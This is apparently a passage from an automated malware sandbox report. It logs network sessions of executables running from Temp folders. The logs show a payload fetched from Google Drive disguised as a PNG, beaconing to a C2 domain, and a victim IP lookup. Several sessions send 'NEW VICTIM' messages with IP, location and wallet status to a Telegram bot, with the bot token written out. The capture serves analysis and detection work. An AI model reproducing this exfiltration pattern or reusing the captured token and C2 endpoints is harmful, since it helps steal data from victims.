8b 58 31 68 58 6b 65 Data Ascii: ZRL%;>z}_3KYo\BS%'[&mXu).wZJXq-ImqvbQx3`y.nsKq]/Gj%Ilj@u_0q\Tef,CNW4?\|^x;cxM[]%8#pq3!gQv;ezF;_G3X1hXke

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49835	172.217.17.65	443	7252	C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 17:16:36 UTC	192	OUT	GET /download?id=1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f&export=download HTTP/1.1 User-Agent: FileDownloader Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-12-21 17:16:40 UTC	4911	IN	HTTP/1.1 200 OK X-GUploader-UploadID: AFiumC6MEmXk6jYKjoqKxu3mUkYQw6GgPkbUIObpwL_n-yZeoqAqyP-5r5YaGhukMRoOFRg Content-Type: image/png Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="output.png" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 156917 Last-Modified: Mon, 11 Nov 2024 02:30:33 GMT Date: Sat, 21 Dec 2024 17:16:39 GMT Expires: Sat, 21 Dec 2024 17:16:39 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=h6mvlQ== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-21 17:16:40 UTC	4911	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 b6 00 00 01 b6 08 06 00 00 00 13 09 a3 70 00 00 80 00 49 44 41 54 78 9c ec dd 07 7c 14 65 fa 07 f0 df 33 9b 0a 09 bd 9d 15 44 20 64 77 36 80 d8 d0 53 9a dc 59 00 5b d6 ce a9 e7 e9 9d 05 b0 23 2a 4c c0 82 67 c5 72 96 bb bf 9e e8 a9 24 58 41 3d 95 66 c3 16 85 ec ec 12 8a 8a 9e 05 0b 9d 00 29 bb f3 fc 3f bb 49 ee 28 d9 64 76 b3 33 ef 6c f6 fd 7e 3e 7e 3e b2 bb 33 ef 93 64 77 9f 79 cb 3c 6f 06 24 49 b2 ce a8 d3 ba 82 c2 c7 2b 8c 61 0c 14 02 74 08 08 3d c0 68 0f 80 40 a8 02 d3 06 10 af 23 c6 2a 03 fc 11 80 25 58 f4 da cf a2 43 97 a4 54 45 a2 03 90 a4 36 67 cc 98 f6 08 e5 fa 88 30 01 c0 71 00 94 04 ce f2 11 13 3d 03 64 3e 87 85 65 5b 2d 88 52 92 da 2c 99 d8 24 29 59 4e 3c b1 03 ea 32 27 12 d3 24 00 dd 92 Data Ascii: PNGIHDRpIDATx\|e3D dw6SY[#Lgr$XA=f)?I(dv3l~>~>3dwy<o$I+at=h@#%XCTE6g0q=d>e[-R,$)YN<2'$
2024-12-21 17:16:40 UTC	4874	IN	Data Raw: 9e 48 52 6b b8 8f 6d b0 aa aa 13 4c 25 b5 58 26 5c bf 63 68 76 d7 cd 7b 27 b5 86 36 04 d4 e8 92 a4 ff 71 b9 5c 31 df 83 59 59 59 09 ed b7 e6 76 bb ab 54 55 d5 5c 2e 97 4a f1 d7 58 ed 07 60 7e 43 79 ae c2 44 da 97 12 27 13 9b 43 31 33 05 02 81 09 86 61 7c 19 b9 02 8c e3 8a b1 d1 97 cc ec f3 7a bd a3 54 55 4d ca 0e c1 2e 97 ab c9 2f 08 22 11 c5 27 25 e9 7f 9a 9b 63 ab ae ae 6e d5 46 a2 85 85 85 6b 3d 1e 8f cf 30 8c d1 09 ec 8e d1 58 9e 6b 76 79 79 79 c7 d6 c4 21 99 27 13 9b 03 05 02 81 c3 03 81 c0 32 66 7e 3a c1 31 fe 92 9c 9c 1c 8f d7 eb 4d 6a 25 ff 70 38 dc e4 17 84 ec b1 49 a2 35 d7 63 cb cd cd 4d ca 0e d9 45 45 45 8b 36 6c d8 30 84 99 2f 03 f0 6b 1c 87 66 02 98 98 9d 9d fd 95 ae eb 93 4a 4b 4b e5 e7 c5 62 32 b1 39 c8 aa 55 ab f6 6b 28 83 f5 09 80 a3 e2 Data Ascii: HRkmL%X&\chv{'6q\1YYYvTU\.JX`~CyD'C13a\|zTUM./"'%cnFk=0Xkvyyy!'2f~:1Mj%p8I5cMEEE6l0/kfJKKb29Uk(
2024-12-21 17:16:40 UTC	1325	IN	Data Raw: 8c 51 20 10 18 bb 71 7b d5 a3 7f 7f 7b e9 fe cf bf ff 31 0c 13 c3 93 5d 3b e4 1b 63 06 b9 9f ef cf 35 17 6a 9a e6 8c 25 e4 a3 c6 17 82 30 48 61 2e 00 63 00 13 f6 03 a8 3d c0 1d 81 68 45 ff 1a 10 aa 86 f4 39 b8 5f df 5e 3d 3a 1c dc a3 1b 0e e9 d9 1d 45 bd 0f 42 7e 6e 4e a4 c7 36 d3 e3 f1 d8 ba 22 4f b8 52 2d 0b c0 53 00 9d 2b a0 f5 1d 60 f6 e1 2c ed 0d 01 6d ff 57 ea 24 b6 46 a5 33 fb 80 8d 1b 41 f8 03 80 9c 24 9c 31 08 c2 9d e0 81 2f a4 fb cd d7 66 04 02 81 a7 98 f9 c2 bd 1f 67 e6 81 5e af d7 f6 b1 f4 78 24 38 ec b8 25 72 2d bc 61 c3 86 47 46 8c 18 e1 8c 2f 7b 93 2a 2a 2a da 2b 8a 72 7d e0 bb 1f a6 ce 7a 71 41 a6 ff 1b 73 53 a0 9e 83 f6 af 3a a1 c8 f3 97 fb 26 5f fe ac e5 41 ee 6d ec d8 76 d8 49 a7 29 84 93 99 69 04 80 5e 89 9c 46 21 c2 c0 03 f6 43 f7 8e Data Ascii: Q q{{1];c5j%0Ha.c=hE9_^=:EB~nN6"OR-S+`,mW$F3A$1/fg^x$8%r-aGF/{***+r}zqAsS:&_AmvI)i^F!C
2024-12-21 17:16:40 UTC	1390	IN	Data Raw: 38 fa d4 e1 44 ca 62 27 27 35 d4 6f 18 76 3e 6d aa 7b 13 27 9e d8 41 74 2c 52 eb a4 65 62 4b ab 6a 04 49 16 eb a2 40 51 14 5b 13 5b 45 45 c5 90 40 20 b0 ac 61 4b 19 b3 73 69 5f 30 73 a4 67 39 21 5d e6 d2 e2 e1 76 bb bf 54 55 f5 94 11 ea c0 71 2f df 34 e9 1b 33 7b bf ed aa ad c5 cb 1f 97 7b a7 fc df f3 df 4c 7b ec c9 07 96 2c 59 b2 67 f1 84 d1 e3 4e 26 e6 7f 03 e8 68 71 f8 49 c2 23 a9 36 eb 1d 99 dc 52 5b 5a 26 36 d9 63 4b 9c e8 1e 9b df ef ef ac eb fa 6c 45 51 3e 8d 63 2e 6d 33 80 c9 95 95 95 47 78 bd de 8f 2c 0e 31 e5 79 3c 9e f9 a1 ea ea c2 cb 7f 3f b2 64 de f5 57 d4 1c ef 1e d0 e2 31 5f ae ff d9 75 db bc d7 26 dd 31 ff ed 5f 1e 2d 7b e9 94 e8 83 23 c6 1f 49 4c 73 01 a4 da 3e 70 47 50 6d d6 ab 38 f1 c4 54 8b 5b 6a 60 45 69 2a c7 93 3d b6 c4 45 2e 0a 9a Data Ascii: 8Db''5ov>m{'At,RebKjI@Q[[EE@ aKsi_0sg9!]vTUq/43{{L{,YgN&hqI#6R[Z&6cKlEQ>c.m3Gx,1y<?dW1_u&1_-{#ILs>pGPm8T[j`Ei*=E.
2024-12-21 17:16:40 UTC	1390	IN	Data Raw: ed 76 1f 2f 93 5a ea 61 d0 6f 45 c7 20 04 e3 38 d1 21 48 b1 a5 65 62 4b eb ca 23 44 97 88 f8 bb bf ba f5 3f 30 f6 dc ee 26 c4 cc f7 e7 e4 e4 0c f0 78 3c 73 88 28 0d 2f fc 53 5c fd ea c0 be a2 c3 10 41 01 62 de ce 22 89 97 96 43 91 69 dd 63 63 9c 26 a2 d9 f5 75 3b b1 b2 7a 0b 3c b9 9d 23 ff 5c 6a 18 c6 55 45 45 45 01 11 b1 48 49 b2 a1 ba 1f 6c de 39 dd 29 98 94 96 77 5f 95 84 49 cb c4 96 b6 3d b6 17 6f 3b 18 e1 70 6f 51 cd 2f db f9 f3 36 b5 5d 97 ab dc 6e f7 33 b2 87 d6 06 b8 70 68 fa 6e c1 c9 fd 44 47 20 c5 96 96 43 91 69 db 63 0b 87 3d 22 9b 7f fc d7 55 af cb 61 c7 36 c4 50 ba 88 0e 41 a0 74 fe d9 1d 2f 2d 13 5b da f6 d8 80 83 44 36 5e cb c6 7e 22 db 97 92 8c 90 2f 3a 04 81 da a1 b8 38 2d 87 61 53 41 5a 26 b6 b4 ed b1 11 89 fe 22 6a 7d 2d 4a c9 49 f2 44 Data Ascii: v/ZaoE 8!HebK#D?0&x<s(/S\Ab"Cicc&u;z<#\jUEEEHIl9)w_I=o;poQ/6]n3phnDG Cic="Ua6PAt/-[D6^~"/:8-aSAZ&"j}-JID
2024-12-21 17:16:40 UTC	1390	IN	Data Raw: 8e ca 11 fc 7e ff 68 8a f4 2a e3 1f 92 dd c0 cc f7 b8 5c ae fb dd 6e 77 6d b3 af 9c 37 b3 1f 98 4f 06 f3 71 00 0a 33 48 39 28 c4 46 6e b6 e2 42 47 25 13 bd b3 f3 a1 e6 74 46 2e 65 dc f9 f0 7b c1 5b ea 6f d6 8d 4f 30 18 1c 69 18 c6 7d 00 8a 4c bc 3c 72 fe 7f 19 86 71 9d 9c 7f 73 a8 91 a7 5e 40 c4 73 44 87 61 85 1e 9d 3a 18 af dd 34 59 d9 ab b7 d6 94 85 8a a2 5c ef 76 bb 57 d8 13 99 35 64 62 4b a6 25 5a 06 36 d0 6d 60 dc e0 b0 d8 be 03 f1 d9 a2 7b 6f c1 60 f0 08 c3 30 ee 02 30 3c ce 43 77 12 d1 43 d9 d9 d9 77 f4 eb d7 2f a1 aa 23 81 40 60 02 33 3f dd c4 53 13 54 55 7d 26 91 73 62 cf f9 b7 bf 02 e8 69 e2 90 2d cc 3c ab ad ce 6d a4 ba 4e e3 ce 29 df ba 63 e7 61 a2 e3 48 b6 03 ba 77 bd e8 cd 5b ae 29 60 e6 ab 4d 8c 20 19 44 f4 62 38 1c be b1 a8 a8 28 25 cb c8 Data Ascii: ~h*\nwm7Oq3H9(FnBG%tF.e{[oO0i}L<rqs^@sDa:4Y\vW5dbK%Z6m`{o`00<CwCw/#@`3?STU}&sbi-<mN)caHw[)`M Db8(%
2024-12-21 17:16:40 UTC	1390	IN	Data Raw: 11 5d e7 f1 78 2a 12 0b 33 71 4e 4a 6c d8 f3 fe b7 bb 00 34 b9 2f ce 5e 22 1f c6 7b f2 f2 f2 66 f5 e9 d3 a7 3a e9 01 cd d3 0a 60 28 8f 00 3c 32 e9 e7 ae f7 31 14 ba dc 8e 1e 1c 33 93 ae eb 67 2a 8a f2 57 66 ee 6d e2 90 3a 00 8f d6 d4 d4 4c 8b 39 7a 70 e2 89 1d a8 2e eb 19 30 c6 25 3d e0 e4 d8 c9 e0 cb b0 e8 b5 a4 57 ee 0f 04 02 87 37 bc 4f cd 5c ec 54 01 b8 77 fb f6 ed 77 0d 1b 36 6c 57 b2 63 31 4b 26 b6 78 2c d1 32 f0 2b 95 9b ac 34 91 5a 18 e7 c6 aa 91 88 fa f9 89 bc 70 38 7c 05 11 45 7a aa f9 71 9e fd f3 86 1e 87 b0 72 3d 4e 4b 6c 8d 12 98 7f fb 8e 88 6e 71 bb dd cf 50 32 7a 40 d1 32 64 33 af 07 f3 4c 1b 4a bf 85 41 7c 17 ba 61 3a 46 68 21 2b 1a 68 28 02 70 3f 80 61 26 0f 59 00 60 b2 aa aa 5f 99 78 2d 61 d4 b8 89 04 fa ab a0 32 79 4d 63 ac 62 05 3e 2c Data Ascii: ]x3qNJl4/^"{f:`(<213gWfm:L9zp.0%=W7O\Tww6lWc1K&x,2+4Zp8\|Ezqr=NKlnqP2z@2d3LJA\|a:Fh!+h(p?a&Y`_x-a2yMcb>,
2024-12-21 17:16:40 UTC	1390	IN	Data Raw: b3 0c c3 f8 4b c3 76 40 66 4a 3c 59 33 8f 66 b1 55 ab 56 ed b7 69 db f6 1f 8e b9 e9 b6 7d 9e cb ca 70 7d 53 f3 d6 4b 29 57 d2 0b 7b ee 92 3f cb 64 e9 c1 55 0d c3 93 ff db 19 bf 74 c6 61 00 47 7a dc ed 2c 0e f7 13 6c ee f5 5b 5c 76 59 9d c5 ed 98 62 fd 4d d2 75 a1 51 e9 94 d4 22 96 55 35 b9 0a 7b 33 33 4f d9 be 7d 7b 7f af d7 fb 44 2a 25 b5 b6 24 f2 81 f7 7a bd 65 35 35 35 85 91 bf 47 c3 0d b1 cd 69 0f 60 7a be c2 6b 1c 9c d4 10 fd e2 0a 85 fe 5b b7 34 10 08 8c 35 0c a3 12 c0 03 26 93 da 02 c3 30 0a 54 55 9d 94 4a 49 ad 25 6c 38 6e 6f 47 d3 88 c8 88 bc 57 15 45 19 c8 cc 97 01 f8 b5 85 43 0a 88 a8 34 10 08 2c ab a8 a8 f8 2d 4a ef cb 05 b8 d4 86 a4 16 71 24 3a fd 74 8d 0d ed 98 62 7d 62 53 8c 64 95 16 4a 19 eb 6a b7 e3 97 d0 7f 17 d7 d5 11 d1 13 91 2f 0d af Data Ascii: Kv@fJ<Y3fUVi}p}SK)W{?dUtaGz,l[\vYbMuQ"U5{33O}{D*%$ze555Gi`zk[45&0TUJI%l8noGWEC4,-Jq$:tb}bSdJj/
2024-12-21 17:16:40 UTC	1390	IN	Data Raw: ec b9 9a a1 e8 d6 fb e9 e2 5b f8 a6 a7 65 25 f5 36 c9 37 65 2b 88 e7 8b 0e c3 3c 7a 17 be 5b e5 fc 5a 23 4a e3 1e 5b 23 9f 36 1d e0 87 2d 3a fb 66 80 4f c6 99 b7 ae b5 e8 fc 09 b1 e7 8f ce c6 4b f5 bf 80 74 40 4f 82 c8 8e ae bf 64 17 c6 bd a2 43 30 8d f9 3e d1 21 38 4c fa ce b1 ed ce a7 5d 05 a6 9b 93 3c 2d f4 15 14 fa 2d 7c da a7 49 3c 67 52 d8 93 d8 7c 5a 15 08 56 5d 31 38 c9 0e 84 8c bf 89 0e 42 4a b2 e8 07 37 25 e6 da 56 c0 37 6d 81 e8 20 1c 25 cd b6 ad 69 d6 59 d3 ee 00 f1 68 00 5f b6 f2 4c 0c c6 53 a8 e5 21 38 73 5a 30 49 d1 25 95 7d dd 74 e6 07 c4 dc 57 61 a3 48 f2 3e 57 13 b9 75 ad 64 15 c3 b8 1a 80 c3 57 1a f2 b5 72 b4 60 4f 9c 26 1b 8d 9a 56 ac 2d c5 0e 56 c1 b8 06 c0 0f f1 1c 1a b9 42 c8 20 d7 3b 30 78 18 ce 9a 7e 31 ce d7 1c 5b 0f d7 be 3f ba Data Ascii: [e%67e+<z[Z#J[#6-:fOKt@OdC0>!8L]<--\|I<gR\|ZV]18BJ7%V7m %iYh_LS!8sZ0I%}tWaH>WudWr`O&V-VB ;0x~1[?
2024-12-21 17:16:40 UTC	1390	IN	Data Raw: 1b 5a 86 bb fe b5 84 10 b1 ac aa 52 ee d8 e2 4c f4 25 b6 9f 3b 3e b5 7a c9 cf db 1a 7d a2 aa 5f 02 b8 a4 91 33 f8 d1 4b af 59 6f 5c 80 42 08 53 25 27 c9 1d 5b 9c 89 fe c4 26 c2 e7 83 89 6d 91 58 75 29 98 2e fc e3 77 05 03 bb da 5a c1 4a 0a da 58 12 71 8e 2d 1d 99 49 6d 71 76 62 9a d9 51 8a 78 33 60 e8 79 00 2e 86 82 6e 0a 73 87 4b 1e 71 b6 fe 5d 2f 47 d3 c7 fb 6a 25 b1 c5 19 49 6c e2 a7 16 bc 6a c3 d1 c3 7f 04 f1 dd 40 75 5f 30 d5 95 71 5c 15 07 eb fe f9 b9 54 8b f5 65 e4 8c eb 06 9f e5 1f f8 c3 98 9d 66 84 2c e2 c0 95 43 4e 57 34 ba 97 81 3f 02 7c 5e dd d7 f8 78 3b a0 d2 63 15 f8 78 c5 d7 4d 9f 5b 5d 25 a5 c8 38 23 bf 70 71 1c 33 21 67 dc 9f 51 76 e8 3b 10 ff 0b c0 65 7a de 1f e5 be da 0e 00 46 c3 e2 fb 06 1f 3b 5f 47 8e 33 12 16 d5 8b 58 31 68 58 6b 65 Data Ascii: ZRL%;>z}_3KYo\BS%'[&mXu).wZJXq-ImqvbQx3`y.nsKq]/Gj%Ilj@u_0q\Tef,CNW4?\|^x;cxM[]%8#pq3!gQv;ezF;_G3X1hXke

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49841	104.21.67.146	443	8100	C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 17:16:36 UTC	355	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=gtWVZEsnoKufsWg8Bg366wpUwxeEG0nAGLM7SEqKKTg-1734801378-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 85 Host: cheapptaxysu.click
2024-12-21 17:16:36 UTC	85	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 43 5a 4a 76 73 73 2d 2d 67 65 6f 70 6f 78 69 64 26 6a 3d 26 68 77 69 64 3d 30 39 41 46 43 33 46 35 35 45 46 36 34 32 31 39 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=CZJvss--geopoxid&j=&hwid=09AFC3F55EF64219AC8923850305D13E
2024-12-21 17:16:37 UTC	1130	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 17:16:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5au9q9v5d0eb5edoagcabc37h0; expires=Wed, 16 Apr 2025 11:03:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KqtOja%2F4TRnnPhGH25yxHdfOlKsIshTrDpCdGPE7bTEn1zA8l%2F%2BkP2ADTwPKehjmjqwYq8X4RADMgfLnT5Xvvs%2FEhdywOeiZLlMvoOKeAZjoIVtkMPqevgGJbEOWPHL0QmTuwSY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f59855cc93d0f9f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1515&min_rtt=1510&rtt_var=576&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2843&recv_bytes=1076&delivery_rate=1883870&cwnd=213&unsent_bytes=0&cid=c6a48690dfd8e129&ts=785&x=0"
2024-12-21 17:16:37 UTC	54	IN	Data Raw: 33 30 0d 0a 34 32 65 70 4e 30 78 45 6d 6c 62 74 50 6d 51 74 6d 5a 37 64 36 6d 61 48 72 64 62 73 79 2f 47 76 74 32 62 6c 74 6c 62 38 4a 6e 57 34 4f 67 3d 3d 0d 0a Data Ascii: 3042epN0xEmlbtPmQtmZ7d6maHrdbsy/Gvt2bltlb8JnW4Og==
2024-12-21 17:16:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49847	34.117.59.81	443	7232	C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 17:16:40 UTC	91	OUT	GET /json HTTP/1.1 User-Agent: IPInfoFetcher Host: ipinfo.io Cache-Control: no-cache
2024-12-21 17:16:40 UTC	345	IN	HTTP/1.1 200 OK access-control-allow-origin: * Content-Length: 321 content-type: application/json; charset=utf-8 date: Sat, 21 Dec 2024 17:16:40 GMT x-content-type-options: nosniff via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-21 17:16:40 UTC	321	IN	Data Raw: 7b 0a 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 0a 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 31 38 39 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 33 20 50 61 72 65 6e 74 2c 20 4c 4c 43 22 2c 0a 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 31 30 30 30 31 22 2c 0a 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a Data Ascii: { "ip": "8.46.123.189", "hostname": "static-cpe-8-46-123-189.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level 3 Parent, LLC", "postal": "10001", "timezone":

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49853	149.154.167.220	443	7232	C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 17:16:42 UTC	513	OUT	GET /bot7855878545:AAEEMUvgpX9jTAxlDd2gM_Sbv2jbI6-5_0o/sendMessage?chat_id=7427009775&text=%3Cb%3E%F0%9F%94%94NEW%20VICTIM%20%2D%20Extensions%20Installed%3C%2Fb%3E%0A%3Cb%3EIP%20Address%3A%3C%2Fb%3E%208%2E46%2E123%2E189%0A%3Cb%3EDevice%20Name%3A%3C%2Fb%3E%20965543%0A%3Cb%3ELocation%3A%3C%2Fb%3E%20New%20York%20City%2C%20New%20York%2C%20US%0A%3Cb%3EWallets%3A%3C%2Fb%3E%0A%3Ccode%3ENothing%20found%3C%2Fcode%3E&parse_mode=HTML HTTP/1.1 User-Agent: TelegramBot Host: api.telegram.org Cache-Control: no-cache
2024-12-21 17:16:42 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 21 Dec 2024 17:16:42 GMT Content-Type: application/json Content-Length: 777 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-21 17:16:42 UTC	777	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 38 33 30 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 35 35 38 37 38 35 34 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 72 68 6a 64 66 74 6a 6b 77 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 72 68 6a 64 66 74 6a 6b 77 34 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 34 32 37 30 30 39 37 37 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5c 75 30 34 31 61 5c 75 30 34 33 30 5c 75 30 34 34 30 5c 75 30 34 33 34 5c 75 30 34 33 30 5c 75 30 34 33 64 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 5c 75 30 34 31 32 5c 75 30 34 33 30 5c 75 30 34 33 62 5c 75 30 34 33 65 5c 75 30 34 33 32 22 Data Ascii: {"ok":true,"result":{"message_id":28305,"from":{"id":7855878545,"is_bot":true,"first_name":"srhjdftjkw4","username":"srhjdftjkw4_bot"},"chat":{"id":7427009775,"first_name":"\u041a\u0430\u0440\u0434\u0430\u043d","last_name":"\u0412\u0430\u043b\u043e\u0432"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49854	34.117.59.81	443	7252	C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 17:16:42 UTC	91	OUT	GET /json HTTP/1.1 User-Agent: IPInfoFetcher Host: ipinfo.io Cache-Control: no-cache
2024-12-21 17:16:42 UTC	345	IN	HTTP/1.1 200 OK access-control-allow-origin: * Content-Length: 321 content-type: application/json; charset=utf-8 date: Sat, 21 Dec 2024 17:16:42 GMT x-content-type-options: nosniff via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-21 17:16:42 UTC	321	IN	Data Raw: 7b 0a 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 0a 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 31 38 39 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 33 20 50 61 72 65 6e 74 2c 20 4c 4c 43 22 2c 0a 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 31 30 30 30 31 22 2c 0a 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a Data Ascii: { "ip": "8.46.123.189", "hostname": "static-cpe-8-46-123-189.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level 3 Parent, LLC", "postal": "10001", "timezone":

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49861	149.154.167.220	443	7252	C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 17:16:44 UTC	513	OUT	GET /bot7855878545:AAEEMUvgpX9jTAxlDd2gM_Sbv2jbI6-5_0o/sendMessage?chat_id=7427009775&text=%3Cb%3E%F0%9F%94%94NEW%20VICTIM%20%2D%20Extensions%20Installed%3C%2Fb%3E%0A%3Cb%3EIP%20Address%3A%3C%2Fb%3E%208%2E46%2E123%2E189%0A%3Cb%3EDevice%20Name%3A%3C%2Fb%3E%20965543%0A%3Cb%3ELocation%3A%3C%2Fb%3E%20New%20York%20City%2C%20New%20York%2C%20US%0A%3Cb%3EWallets%3A%3C%2Fb%3E%0A%3Ccode%3ENothing%20found%3C%2Fcode%3E&parse_mode=HTML HTTP/1.1 User-Agent: TelegramBot Host: api.telegram.org Cache-Control: no-cache
2024-12-21 17:16:44 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 21 Dec 2024 17:16:44 GMT Content-Type: application/json Content-Length: 777 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
